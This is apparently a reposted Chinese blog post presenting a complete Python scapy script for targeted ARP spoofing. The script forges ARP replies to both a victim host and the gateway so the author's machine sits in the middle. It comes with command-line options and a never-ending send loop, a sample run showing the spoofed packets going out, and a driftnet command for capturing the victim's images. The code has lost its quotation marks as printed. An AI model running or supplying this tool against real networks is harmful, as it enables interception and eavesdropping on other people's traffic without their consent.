用python编写的定向arp欺骗工具

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了用python编写的定向arp欺骗工具相关的知识,希望对你有一定的参考价值。

  刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:

 1 #--*--coding=utf-8--*--
 2 
 3 from scapy.all import *
 4 import optparse
 5 import threading
 6 
 7 #解决在linux系统上运行时报的unicode编码相关错误
 8 import sys
 9 reload(sys)
10 sys.setdefaultencoding(utf-8)
11 
12 
13 def getMac(tgtIP):
14     ‘‘‘
15     调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
16     ‘‘‘
17     try:
18         tgtMac = getmacbyip(tgtIP)
19         return tgtMac
20     except:
21         print [-]请检查目标IP是否存活 
22 
23 def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
24     ‘‘‘
25     生成ARP数据包,伪造网关欺骗目标计算机
26     srcMac:本机的MAC地址,充当中间人
27     tgtMac:目标计算机的MAC
28     gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
29     tgtIP:目标计算机的IP
30     op=2,表示ARP响应
31     ‘‘‘
32     pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
33     return pkt
34 
35 def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
36     ‘‘‘
37     生成ARP数据包,伪造目标计算机欺骗网关
38     srcMac:本机的MAC地址,充当中间人
39     gatewayMac:网关的MAC
40     tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
41     gatewayIP:网关的IP
42     op=2,表示ARP响应
43     ‘‘‘
44     pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
45     return pkt
46 
47 
48 def main():
49     usage = Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a
50     parser = optparse.OptionParser(usage,version=v1.0)
51     parser.add_option(-t,dest=targetIP,type=string,help=指定目标计算机IP)
52     parser.add_option(-g,dest=gatewayIP,type=string,help=指定网关IP)
53     parser.add_option(-i,dest=interface,type=string,help=指定使用的网卡)
54     parser.add_option(-a,dest=allarp,action=store_true,help=是否进行全网arp欺骗)
55     
56     options,args = parser.parse_args()
57     tgtIP = options.targetIP
58     gatewayIP = options.gatewayIP
59     interface = options.interface
60   
61     if tgtIP == None or gatewayIP == None or interface == None:
62         print parser.print_help()
63         exit(0)
64     
65     srcMac = get_if_hwaddr(interface)
66     print 本机MAC地址是:,srcMac
67     tgtMac = getMac(tgtIP)
68     print 目标计算机MAC地址是:,tgtMac
69     gatewayMac = getMac(gatewayIP)
70     print 网关MAC地址是:,gatewayMac
71     raw_input(按任意键继续:)
72 
73 
74     pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
75     pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
76 
77    
78     i = 1
79     while True:
80         t = threading.Thread(target=sendp,args=(pktstation,),kwargs={iface:interface})
81         t.start()
82         t.join()
83         print str(i) +  [*]发送一个计算机ARP欺骗包
84        
85         s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={iface:interface,})
86         s.start()
87         s.join()
88         print str(i) +  [*]发送一个网关ARP欺骗包
89         i += 1       
90         
91             
92 
93 if __name__ == __main__:
94     main()

验证如下:

 1 # python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
 2 WARNING: No route found for IPv6 destination :: (no default route?)
 3 本机MAC地址是: xxx
 4 目标计算机MAC地址是:xxx
 5 网关MAC地址是: xxx
 6 按任意键继续:
 7 .
 8 Sent 1 packets.
 9 1 [*]发送一个计算机ARP欺骗包
10 .
11 Sent 1 packets.
12 1 [*]发送一个网关ARP欺骗包
13 .
14 Sent 1 packets.
15 2 [*]发送一个计算机ARP欺骗包
16 .
17 Sent 1 packets.
18 2 [*]发送一个网关ARP欺骗包
19 .
20 Sent 1 packets.
21 3 [*]发送一个计算机ARP欺骗包
22 .
23 Sent 1 packets.
24 3 [*]发送一个网关ARP欺骗包
25 ......

#driftnet -i wlan0

技术分享

 

以上是关于用python编写的定向arp欺骗工具的主要内容,如果未能解决你的问题,请参考以下文章

用Python构造ARP请求扫描欺骗

Arp 欺骗/中毒不工作/停止工作

python scapy的用法之ARP主机扫描和ARP欺骗

用Kali实现arp欺骗

Python黑客编程ARP欺骗

Python黑帽编程 3.1 ARP欺骗